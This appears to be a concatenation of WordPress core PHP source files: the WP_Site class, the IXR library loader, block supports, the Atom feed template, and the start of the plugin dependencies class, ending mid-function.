	 * Whether the site should be treated as mature.
	 *
	 * Handling for this does not exist throughout WordPress core, but custom
	 * implementations exist that require the property to be present.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $mature = '0';

	/**
	 * Whether the site should be treated as spam.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $spam = '0';

	/**
	 * Whether the site should be treated as deleted.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $deleted = '0';

	/**
	 * The language pack associated with this site.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $lang_id = '0';

	/**
	 * Retrieves a site from the database by its ID.
	 *
	 * @since 4.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $site_id The ID of the site to retrieve.
	 * @return WP_Site|false The site's object if found. False if not.
	 */
	public static function get_instance( $site_id ) {
		global $wpdb;

		$site_id = (int) $site_id;
		if ( ! $site_id ) {
			return false;
		}

		$_site = wp_cache_get( $site_id, 'sites' );

		if ( false === $_site ) {
			$_site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->blogs} WHERE blog_id = %d LIMIT 1", $site_id ) );

			if ( empty( $_site ) || is_wp_error( $_site ) ) {
				$_site = -1;
			}

			wp_cache_add( $site_id, $_site, 'sites' );
		}

		if ( is_numeric( $_site ) ) {
			return false;
		}

		return new WP_Site( $_site );
	}

	/**
	 * Creates a new WP_Site object.
	 *
	 * Will populate object properties from the object provided and assign other
	 * default properties based on that information.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Site|object $site A site object.
	 */
	public function __construct( $site ) {
		foreach ( get_object_vars( $site ) as $key => $value ) {
			$this->$key = $value;
		}
	}

	/**
	 * Converts an object to array.
	 *
	 * @since 4.6.0
	 *
	 * @return array Object as array.
	 */
	public function to_array() {
		return get_object_vars( $this );
	}

	/**
	 * Getter.
	 *
	 * Allows current multisite naming conventions when getting properties.
	 * Allows access to extended site properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to get.
	 * @return mixed Value of the property. Null if not available.
	 */
	public function __get( $key ) {
		switch ( $key ) {
			case 'id':
				return (int) $this->blog_id;
			case 'network_id':
				return (int) $this->site_id;
			case 'blogname':
			case 'siteurl':
			case 'post_count':
			case 'home':
			default: // Custom properties added by 'site_details' filter.
				if ( ! did_action( 'ms_loaded' ) ) {
					return null;
				}

				$details = $this->get_details();
				if ( isset( $details->$key ) ) {
					return $details->$key;
				}
		}

		return null;
	}

	/**
	 * Isset-er.
	 *
	 * Allows current multisite naming conventions when checking for properties.
	 * Checks for extended site properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $key ) {
		switch ( $key ) {
			case 'id':
			case 'network_id':
				return true;
			case 'blogname':
			case 'siteurl':
			case 'post_count':
			case 'home':
				if ( ! did_action( 'ms_loaded' ) ) {
					return false;
				}
				return true;
			default: // Custom properties added by 'site_details' filter.
				if ( ! did_action( 'ms_loaded' ) ) {
					return false;
				}

				$details = $this->get_details();
				if ( isset( $details->$key ) ) {
					return true;
				}
		}

		return false;
	}

	/**
	 * Setter.
	 *
	 * Allows current multisite naming conventions while setting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key   Property to set.
	 * @param mixed  $value Value to assign to the property.
	 */
	public function __set( $key, $value ) {
		switch ( $key ) {
			case 'id':
				$this->blog_id = (string) $value;
				break;
			case 'network_id':
				$this->site_id = (string) $value;
				break;
			default:
				$this->$key = $value;
		}
	}

	/**
	 * Retrieves the details for this site.
	 *
	 * This method is used internally to lazy-load the extended properties of a site.
	 *
	 * @since 4.6.0
	 *
	 * @see WP_Site::__get()
	 *
	 * @return stdClass A raw site object with all details included.
	 */
	private function get_details() {
		$details = wp_cache_get( $this->blog_id, 'site-details' );

		if ( false === $details ) {

			switch_to_blog( $this->blog_id );
			// Create a raw copy of the object for backward compatibility with the filter below.
			$details = new stdClass();
			foreach ( get_object_vars( $this ) as $key => $value ) {
				$details->$key = $value;
			}
			$details->blogname   = get_option( 'blogname' );
			$details->siteurl    = get_option( 'siteurl' );
			$details->post_count = get_option( 'post_count' );
			$details->home       = get_option( 'home' );
			restore_current_blog();

			wp_cache_set( $this->blog_id, $details, 'site-details' );
		}

		/** This filter is documented in wp-includes/ms-blogs.php */
		$details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' );

		/**
		 * Filters a site's extended properties.
		 *
		 * @since 4.6.0
		 *
		 * @param stdClass $details The site details.
		 */
		$details = apply_filters( 'site_details', $details );

		return $details;
	}
}
<?php
/**
 * IXR - The Incutio XML-RPC Library
 *
 * Copyright (c) 2010, Incutio Ltd.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  - Redistributions of source code must retain the above copyright notice,
 *    this list of conditions and the following disclaimer.
 *  - Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *  - Neither the name of Incutio Ltd. nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
 * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
 * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @package IXR
 * @since 1.5.0
 *
 * @copyright  Incutio Ltd 2010 (http://www.incutio.com)
 * @version    1.7.4 7th September 2010
 * @author     Simon Willison
 * @link       http://scripts.incutio.com/xmlrpc/ Site/manual
 * @license    http://www.opensource.org/licenses/bsd-license.php BSD
 */

require_once ABSPATH . WPINC . '/IXR/class-IXR-server.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-base64.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-client.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-clientmulticall.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-date.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-error.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-introspectionserver.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-message.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-request.php';

require_once ABSPATH . WPINC . '/IXR/class-IXR-value.php';<?php
/**
 * Block support flags.
 *
 * @package WordPress
 *
 * @since 5.6.0
 */

/**
 * Class encapsulating and implementing Block Supports.
 *
 * @since 5.6.0
 *
 * @access private
 */
#[AllowDynamicProperties]
class WP_Block_Supports {

	/**
	 * Config.
	 *
	 * @since 5.6.0
	 * @var array
	 */
	private $block_supports = array();

	/**
	 * Tracks the current block to be rendered.
	 *
	 * @since 5.6.0
	 * @var array
	 */
	public static $block_to_render = null;

	/**
	 * Container for the main instance of the class.
	 *
	 * @since 5.6.0
	 * @var WP_Block_Supports|null
	 */
	private static $instance = null;

	/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 5.6.0
	 *
	 * @return WP_Block_Supports The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Initializes the block supports. It registers the block supports block attributes.
	 *
	 * @since 5.6.0
	 */
	public static function init() {
		$instance = self::get_instance();
		$instance->register_attributes();
	}

	/**
	 * Registers a block support.
	 *
	 * @since 5.6.0
	 *
	 * @link https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/
	 *
	 * @param string $block_support_name   Block support name.
	 * @param array  $block_support_config Array containing the properties of the block support.
	 */
	public function register( $block_support_name, $block_support_config ) {
		$this->block_supports[ $block_support_name ] = array_merge(
			$block_support_config,
			array( 'name' => $block_support_name )
		);
	}

	/**
	 * Generates an array of HTML attributes, such as classes, by applying to
	 * the given block all of the features that the block supports.
	 *
	 * @since 5.6.0
	 *
	 * @return string[] Array of HTML attribute values keyed by their name.
	 */
	public function apply_block_supports() {
		$block_type = WP_Block_Type_Registry::get_instance()->get_registered(
			self::$block_to_render['blockName']
		);

		// If no render_callback, assume styles have been previously handled.
		if ( ! $block_type || empty( $block_type ) ) {
			return array();
		}

		$block_attributes = array_key_exists( 'attrs', self::$block_to_render )
			? self::$block_to_render['attrs']
			: array();

		$output = array();
		foreach ( $this->block_supports as $block_support_config ) {
			if ( ! isset( $block_support_config['apply'] ) ) {
				continue;
			}

			$new_attributes = call_user_func(
				$block_support_config['apply'],
				$block_type,
				$block_attributes
			);

			if ( ! empty( $new_attributes ) ) {
				foreach ( $new_attributes as $attribute_name => $attribute_value ) {
					if ( empty( $output[ $attribute_name ] ) ) {
						$output[ $attribute_name ] = $attribute_value;
					} else {
						$output[ $attribute_name ] .= " $attribute_value";
					}
				}
			}
		}

		return $output;
	}

	/**
	 * Registers the block attributes required by the different block supports.
	 *
	 * @since 5.6.0
	 */
	private function register_attributes() {
		$block_registry         = WP_Block_Type_Registry::get_instance();
		$registered_block_types = $block_registry->get_all_registered();
		foreach ( $registered_block_types as $block_type ) {
			if ( ! ( $block_type instanceof WP_Block_Type ) ) {
				continue;
			}
			if ( ! $block_type->attributes ) {
				$block_type->attributes = array();
			}

			foreach ( $this->block_supports as $block_support_config ) {
				if ( ! isset( $block_support_config['register_attribute'] ) ) {
					continue;
				}

				call_user_func(
					$block_support_config['register_attribute'],
					$block_type
				);
			}
		}
	}
}

/**
 * Generates a string of attributes by applying to the current block being
 * rendered all of the features that the block supports.
 *
 * @since 5.6.0
 *
 * @param string[] $extra_attributes Optional. Array of extra attributes to render on the block wrapper.
 * @return string String of HTML attributes.
 */
function get_block_wrapper_attributes( $extra_attributes = array() ) {
	$new_attributes = WP_Block_Supports::get_instance()->apply_block_supports();

	if ( empty( $new_attributes ) && empty( $extra_attributes ) ) {
		return '';
	}

	// This is hardcoded on purpose.
	// We only support a fixed list of attributes.
	$attributes_to_merge = array( 'style', 'class', 'id' );
	$attributes          = array();
	foreach ( $attributes_to_merge as $attribute_name ) {
		if ( empty( $new_attributes[ $attribute_name ] ) && empty( $extra_attributes[ $attribute_name ] ) ) {
			continue;
		}

		if ( empty( $new_attributes[ $attribute_name ] ) ) {
			$attributes[ $attribute_name ] = $extra_attributes[ $attribute_name ];
			continue;
		}

		if ( empty( $extra_attributes[ $attribute_name ] ) ) {
			$attributes[ $attribute_name ] = $new_attributes[ $attribute_name ];
			continue;
		}

		$attributes[ $attribute_name ] = $extra_attributes[ $attribute_name ] . ' ' . $new_attributes[ $attribute_name ];
	}

	foreach ( $extra_attributes as $attribute_name => $value ) {
		if ( ! in_array( $attribute_name, $attributes_to_merge, true ) ) {
			$attributes[ $attribute_name ] = $value;
		}
	}

	if ( empty( $attributes ) ) {
		return '';
	}

	$normalized_attributes = array();
	foreach ( $attributes as $key => $value ) {
		$normalized_attributes[] = $key . '="' . esc_attr( $value ) . '"';
	}

	return implode( ' ', $normalized_attributes );
}
<?php
/**
 * Atom Feed Template for displaying Atom Posts feed.
 *
 * @package WordPress
 */

header( 'Content-Type: ' . feed_content_type( 'atom' ) . '; charset=' . get_option( 'blog_charset' ), true );
$more = 1;

echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>';

/** This action is documented in wp-includes/feed-rss2.php */
do_action( 'rss_tag_pre', 'atom' );
?>
<feed
	xmlns="http://www.w3.org/2005/Atom"
	xmlns:thr="http://purl.org/syndication/thread/1.0"
	xml:lang="<?php bloginfo_rss( 'language' ); ?>"
	<?php
	/**
	 * Fires at end of the Atom feed root to add namespaces.
	 *
	 * @since 2.0.0
	 */
	do_action( 'atom_ns' );
	?>
>
	<title type="text"><?php wp_title_rss(); ?></title>
	<subtitle type="text"><?php bloginfo_rss( 'description' ); ?></subtitle>

	<updated><?php echo get_feed_build_date( 'Y-m-d\TH:i:s\Z' ); ?></updated>

	<link rel="alternate" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php bloginfo_rss( 'url' ); ?>" />
	<id><?php bloginfo( 'atom_url' ); ?></id>
	<link rel="self" type="application/atom+xml" href="<?php self_link(); ?>" />

	<?php
	/**
	 * Fires just before the first Atom feed entry.
	 *
	 * @since 2.0.0
	 */
	do_action( 'atom_head' );

	while ( have_posts() ) :
		the_post();
		?>
	<entry>
		<author>
			<name><?php the_author(); ?></name>
			<?php
			$author_url = get_the_author_meta( 'url' );
			if ( ! empty( $author_url ) ) :
				?>
				<uri><?php the_author_meta( 'url' ); ?></uri>
				<?php
			endif;

			/**
			 * Fires at the end of each Atom feed author entry.
			 *
			 * @since 3.2.0
			 */
			do_action( 'atom_author' );
			?>
		</author>

		<title type="<?php html_type_rss(); ?>"><![CDATA[<?php the_title_rss(); ?>]]></title>
		<link rel="alternate" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php the_permalink_rss(); ?>" />

		<id><?php the_guid(); ?></id>
		<updated><?php echo get_post_modified_time( 'Y-m-d\TH:i:s\Z', true ); ?></updated>
		<published><?php echo get_post_time( 'Y-m-d\TH:i:s\Z', true ); ?></published>
		<?php the_category_rss( 'atom' ); ?>

		<summary type="<?php html_type_rss(); ?>"><![CDATA[<?php the_excerpt_rss(); ?>]]></summary>

		<?php if ( ! get_option( 'rss_use_excerpt' ) ) : ?>
			<content type="<?php html_type_rss(); ?>" xml:base="<?php the_permalink_rss(); ?>"><![CDATA[<?php the_content_feed( 'atom' ); ?>]]></content>
		<?php endif; ?>

		<?php
		atom_enclosure();

		/**
		 * Fires at the end of each Atom feed item.
		 *
		 * @since 2.0.0
		 */
		do_action( 'atom_entry' );

		if ( get_comments_number() || comments_open() ) :
			?>
			<link rel="replies" type="<?php bloginfo_rss( 'html_type' ); ?>" href="<?php the_permalink_rss(); ?>#comments" thr:count="<?php echo get_comments_number(); ?>" />
			<link rel="replies" type="application/atom+xml" href="<?php echo esc_url( get_post_comments_feed_link( 0, 'atom' ) ); ?>" thr:count="<?php echo get_comments_number(); ?>" />
			<thr:total><?php echo get_comments_number(); ?></thr:total>
		<?php endif; ?>
	</entry>
	<?php endwhile; ?>
</feed>
<?php
/**
 * WordPress Plugin Administration API: WP_Plugin_Dependencies class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 6.5.0
 */

/**
 * Core class for installing plugin dependencies.
 *
 * It is designed to add plugin dependencies as designated in the
 * `Requires Plugins` header to a new view in the plugins install page.
 */
class WP_Plugin_Dependencies {

	/**
	 * Holds 'get_plugins()'.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $plugins;

	/**
	 * Holds plugin directory names to compare with cache.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $plugin_dirnames;

	/**
	 * Holds sanitized plugin dependency slugs.
	 *
	 * Keyed on the dependent plugin's filepath,
	 * relative to the plugins directory.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependencies;

	/**
	 * Holds an array of sanitized plugin dependency slugs.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependency_slugs;

	/**
	 * Holds an array of dependent plugin slugs.
	 *
	 * Keyed on the dependent plugin's filepath,
	 * relative to the plugins directory.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependent_slugs;

	/**
	 * Holds 'plugins_api()' data for plugin dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	protected static $dependency_api_data;

	/**
	 * Holds plugin dependency filepaths, relative to the plugins directory.
	 *
	 * Keyed on the dependency's slug.
	 *
	 * @since 6.5.0
	 *
	 * @var string[]
	 */
	protected static $dependency_filepaths;

	/**
	 * An array of circular dependency pairings.
	 *
	 * @since 6.5.0
	 *
	 * @var array[]
	 */
	protected static $circular_dependencies_pairs;

	/**
	 * An array of circular dependency slugs.
	 *
	 * @since 6.5.0
	 *
	 * @var string[]
	 */
	protected static $circular_dependencies_slugs;

	/**
	 * Whether Plugin Dependencies have been initialized.
	 *
	 * @since 6.5.0
	 *
	 * @var bool
	 */
	protected static $initialized = false;

	/**
	 * Initializes by fetching plugin header and plugin API data.
	 *
	 * @since 6.5.0
	 */
	public static function initialize() {
		if ( false === self::$initialized ) {
			self::read_dependencies_from_plugin_headers();
			self::get_dependency_api_data();
			self::$initialized = true;
		}
	}

	/**
	 * Determines whether the plugin has plugins that depend on it.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has plugins that depend on it.
	 */
	public static function has_dependents( $plugin_file ) {
		return in_array( self::convert_to_slug( $plugin_file ), (array) self::$dependency_slugs, true );
	}

	/**
	 * Determines whether the plugin has plugin dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether a plugin has plugin dependencies.
	 */
	public static function has_dependencies( $plugin_file ) {
		return isset( self::$dependencies[ $plugin_file ] );
	}

	/**
	 * Determines whether the plugin has active dependents.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has active dependents.
	 */
	public static function has_active_dependents( $plugin_file ) {
		require_once ABSPATH . '/wp-admin/includes/plugin.php';

		$dependents = self::get_dependents( self::convert_to_slug( $plugin_file ) );
		foreach ( $dependents as $dependent ) {
			if ( is_plugin_active( $dependent ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Gets filepaths of plugins that require the dependency.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug The dependency's slug.
	 * @return array An array of dependent plugin filepaths, relative to the plugins directory.
	 */
	public static function get_dependents( $slug ) {
		$dependents = array();

		foreach ( (array) self::$dependencies as $dependent => $dependencies ) {
			if ( in_array( $slug, $dependencies, true ) ) {
				$dependents[] = $dependent;
			}
		}

		return $dependents;
	}

	/**
	 * Gets the slugs of plugins that the dependent requires.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
	 * @return array An array of dependency plugin slugs.
	 */
	public static function get_dependencies( $plugin_file ) {
		if ( isset( self::$dependencies[ $plugin_file ] ) ) {
			return self::$dependencies[ $plugin_file ];
		}

		return array();
	}

	/**
	 * Gets a dependent plugin's filepath.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug  The dependent plugin's slug.
	 * @return string|false The dependent plugin's filepath, relative to the plugins directory,
	 *                      or false if the plugin has no dependencies.
	 */
	public static function get_dependent_filepath( $slug ) {
		$filepath = array_search( $slug, self::$dependent_slugs, true );

		return $filepath ? $filepath : false;
	}

	/**
	 * Determines whether the plugin has unmet dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has unmet dependencies.
	 */
	public static function has_unmet_dependencies( $plugin_file ) {
		if ( ! isset( self::$dependencies[ $plugin_file ] ) ) {
			return false;
		}

		require_once ABSPATH . '/wp-admin/includes/plugin.php';

		foreach ( self::$dependencies[ $plugin_file ] as $dependency ) {
			$dependency_filepath = self::get_dependency_filepath( $dependency );

			if ( false === $dependency_filepath || is_plugin_inactive( $dependency_filepath ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Determines whether the plugin has a circular dependency.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has a circular dependency.
	 */
	public static function has_circular_dependency( $plugin_file ) {
		if ( ! is_array( self::$circular_dependencies_slugs ) ) {
			self::get_circular_dependencies();
		}

		if ( ! empty( self::$circular_dependencies_slugs ) ) {
			$slug = self::convert_to_slug( $plugin_file );

			if ( in_array( $slug, self::$circular_dependencies_slugs, true ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Gets the names of plugins that require the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return array An array of dependent names.
	 */
	public static function get_dependent_names( $plugin_file ) {
		$dependent_names = array();
		$plugins         = self::get_plugins();
		$slug            = self::convert_to_slug( $plugin_file );

		foreach ( self::get_dependents( $slug ) as $dependent ) {
			$dependent_names[ $dependent ] = $plugins[ $dependent ]['Name'];
		}
		sort( $dependent_names );

		return $dependent_names;
	}

	/**
	 * Gets the names of plugins required by the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
	 * @return array An array of dependency names.
	 */
	public static function get_dependency_names( $plugin_file ) {
		$dependency_api_data = self::get_dependency_api_data();
		$dependencies        = self::get_dependencies( $plugin_file );
		$plugins             = self::get_plugins();

		$dependency_names = array();
		foreach ( $dependencies as $dependency ) {
			// Use the name if it's available, otherwise fall back to the slug.
			if ( isset( $dependency_api_data[ $dependency ]['name'] ) ) {
				$name = $dependency_api_data[ $dependency ]['name'];
			} else {
				$dependency_filepath = self::get_dependency_filepath( $dependency );
				if ( false !== $dependency_filepath ) {
					$name = $plugins[ $dependency_filepath ]['Name'];
				} else {
					$name = $dependency;
				}
			}

			$dependency_names[ $dependency ] = $name;
		}

		return $dependency_names;
	}

	/**
	 * Gets the filepath for a dependency, relative to the plugin's directory.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug The dependency's slug.
	 * @return string|false If installed, the dependency's filepath relative to the plugins directory, otherwise false.
	 */
	public static function get_dependency_filepath( $slug ) {
		$dependency_filepaths = self::get_dependency_filepaths();

		if ( ! isset( $dependency_filepaths[ $slug ] ) ) {
			return false;
		}

		return $dependency_filepaths[ $slug ];
	}

	/**
	 * Returns API data for the dependency.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug The dependency's slug.
	 * @return array|false The dependency's API data on success, otherwise false.
	 */
	public static function get_dependency_data( $slug ) {
		$dependency_api_data = self::get_dependency_api_data();

		if ( isset( $dependency_api_data[ $slug ] ) ) {
			return $dependency_api_data[ $slug ];
		}

		return false;
	}

	/**
	 * Displays an admin notice if dependencies are not installed.
	 *
	 * @since 6.5.0
	 */
	public static function display_admin_notice_for_unmet_dependencies() {
		if ( in_array( false, self::get_dependency_filepaths(), true ) ) {
			$error_message = __( 'Some required plugins are missing or inactive.' );

			if ( is_multisite() ) {
				if ( current_user_can( 'manage_network_plugins' ) ) {
					$error_message .= ' ' . sprintf(
						/* translators: %s: Link to the network plugins page. */
						__( '<a href="%s">Manage plugins</a>.' ),
						esc_url( network_admin_url( 'plugins.php' ) )
					);
				} else {
					$error_message .= ' ' . __( 'Please contact your network administrator.' );
				}
			} elseif ( 'plugins' !== get_current_screen()->base ) {
				$error_message .= ' ' . sprintf(
					/* translators: %s: Link to the plugins page. */
					__( '<a href="%s">Manage plugins</a>.' ),
					esc_url( admin_url( 'plugins.php' ) )
				);
			}

			wp_admin_notice(
				$error_message,
				array(
					'type' => 'warning',
				)
			);
		}
	}

	/**
	 * Displays an admin notice if circular dependencies are installed.
	 *
	 * @since 6.5.0
	 */
	public static function display_admin_notice_for_circular_dependencies() {
		$circular_dependencies = self::get_circular_dependencies();
		if ( ! empty( $circular_dependencies ) && count( $circular_dependencies ) > 1 ) {
			$circular_dependencies = array_unique( $circular_dependencies, SORT_REGULAR );
			$plugins               = self::get_plugins();
			$plugin_dirnames       = self::get_plugin_dirnames();

			// Build output lines.
			$circular_dependency_lines = '';
			foreach ( $circular_dependencies as $circular_dependency ) {
				$first_filepath             = $plugin_dirnames[ $circular_dependency[0] ];
				$second_filepath            = $plugin_dirnames[ $circular_dependency[1] ];
				$circular_dependency_lines .= sprintf(
					/* translators: 1: First plugin name, 2: Second plugin name. */
					'<li>' . _x( '%1$s requires %2$s', 'The first plugin requires the second plugin.' ) . '</li>',
					'<strong>' . esc_html( $plugins[ $first_filepath ]['Name'] ) . '</strong>',
					'<strong>' . esc_html( $plugins[ $second_filepath ]['Name'] ) . '</strong>'
				);
			}

			wp_admin_notice(
				sprintf(
					'<p>%1$s</p><ul>%2$s</ul><p>%3$s</p>',
					__( 'These plugins cannot be activated because their requirements are invalid.' ),
					$circular_dependency_lines,
					__( 'Please contact the plugin authors for more information.' )
				),
				array(
					'type'           => 'warning',
					'paragraph_wrap' => false,
				)
			);
		}
	}

	/**
	 * Checks plugin dependencies after a plugin is installed via AJAX.
	 *
	 * @since 6.5.0
	 */
	public static function check_plugin_dependencies_during_ajax() {
		check_ajax_referer( 'updates' );

		if ( empty( $_POST['slug'] ) ) {
			wp_send_json_error(
				array(
					'slug'         => '',
					'pluginName'   => '',
					'errorCode'    => 'no_plugin_specified',
					'errorMessage' => __( 'No plugin specified.' ),
				)
			);
		}

		$slug   = sanitize_key( wp_unslash( $_POST['slug'] ) );
		$status = array( 'slug' => $slug );

		self::get_plugins();
		self::get_plugin_dirnames();

		if ( ! isset( self::$plugin_dirnames[ $slug ] ) ) {
			$status['errorCode']    = 'plugin_not_installed';
			$status['errorMessage'] = __( 'The plugin is not installed.' );
			wp_send_json_error( $status );
		}

		$plugin_file          = self::$plugin_dirnames[ $slug ];
		$status['pluginName'] = self::$plugins[ $plugin_file ]['Name'];
		$status['plugin']     = $plugin_file;

		if ( current_user_can( 'activate_plugin', $plugin_file ) && is_plugin_inactive( $plugin_file ) ) {
			$status['activateUrl'] = add_query_arg(
				array(
					'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $plugin_file ),
					'action'   => 'activate',
					'plugin'   => $plugin_file,
				),
				is_multisite() ? network_admin_url( 'plugins.php' ) : admin_url( 'plugins.php' )
			);
		}

		if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
			$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
		}

		self::initialize();
		$dependencies = self::get_dependencies( $plugin_file );
		if ( empty( $dependencies ) ) {
			$status['message'] = __( 'The plugin has no required plugins.' );
			wp_send_json_success( $status );
		}

		require_once ABSPATH . '/wp-admin/includes/plugin.php';

		$inactive_dependencies = array();
		foreach ( $dependencies as $dependency ) {
			if ( false === self::$plugin_dirnames[ $dependency ] || is_plugin_inactive( self::$plugin_dirnames[ $dependency ] ) ) {
				$inactive_dependencies[] = $dependency;
			}
		}

		if ( ! empty( $inactive_dependencies ) ) {
			$inactive_dependency_names = array_map(
				function ( $dependency ) {
					if ( isset( self::$dependency_api_data[ $dependency ]['Name'] ) ) {
						$inactive_dependency_name = self::$dependency_api_data[ $dependency ]['Name'];
					} else {
						$inactive_dependency_name = $dependency;
					}
					return $inactive_dependency_name;
				},
				$inactive_dependencies
			);

			$status['errorCode']    = 'inactive_dependencies';
			$status['errorMessage'] = sprintf(
				/* translators: %s: A list of inactive dependency plugin names. */
				__( 'The following plugins must be activated first: %s.' ),
				implode( ', ', $inactive_dependency_names )
			);
			$status['errorData'] = array_combine( $inactive_dependencies, $inactive_dependency_names );

			wp_send_json_error( $status );
		}

		$status['message'] = __( 'All required plugins are installed and activated.' );
		wp_send_json_success( $status );
	}

	/**
	 * Gets data for installed plugins.
	 *
	 * @since 6.5.0
	 *
	 * @return array An array of plugin data.
	 */
	protected static function get_plugins() {
		if ( is_array( self::$plugins ) ) {
			return self::$plugins;
		}

		require_once ABSPATH . '/wp-admin/includes/plugin.php';
		self::$plugins = get_plugins();

		return self::$plugins;
	}

	/**
	 * Reads and stores dependency slugs from a plugin's 'Requires Plugins' header.
	 *
	 * @since 6.5.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 */
	protected static function read_dependencies_from_plugin_headers() {
		self::$dependencies     = array();
		self::$dependency_slugs = array();
		self::$dependent_slugs  = array();
		$plugins                = self::get_plugins();
		foreach ( $plugins as $plugin => $header ) {
			if ( '' === $header['RequiresPlugins'] ) {
				continue;
			}

			$dependency_slugs              = self::sanitize_dependency_slugs( $header['RequiresPlugins'] );
			self::$dependencies[ $plugin ] = $dependency_slugs;
			self::$dependency_slugs        = array_merge( self::$dependency_slugs, $dependency_slugs );

			$dependent_slug                   = self::convert_to_slug( $plugin );
			self::$dependent_slugs[ $plugin ] = $dependent_slug;
		}
		self::$dependency_slugs = array_unique( self::$dependency_slugs );
	}

	/**
	 * Sanitizes slugs.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slugs A comma-separated string of plugin dependency slugs.
	 * @return array An array of sanitized plugin dependency slugs.
	 */
	protected static function sanitize_dependency_slugs( $slugs ) {
		$sanitized_slugs = array();
		$slugs           = explode( ',', $slugs );

		foreach ( $slugs as $slug ) {
			$slug = trim( $slug );

			/**
			 * Filters a plugin dependency's slug before matching to
			 * the WordPress.org slug format.
			 *
			 * Can be used to switch between free and premium plugin slugs, for example.
			 *
			 * @since 6.5.0
			 *
			 * @param string $slug The slug.
			 */
			$slug = apply_filters( 'wp_plugin_dependencies_slug', $slug );

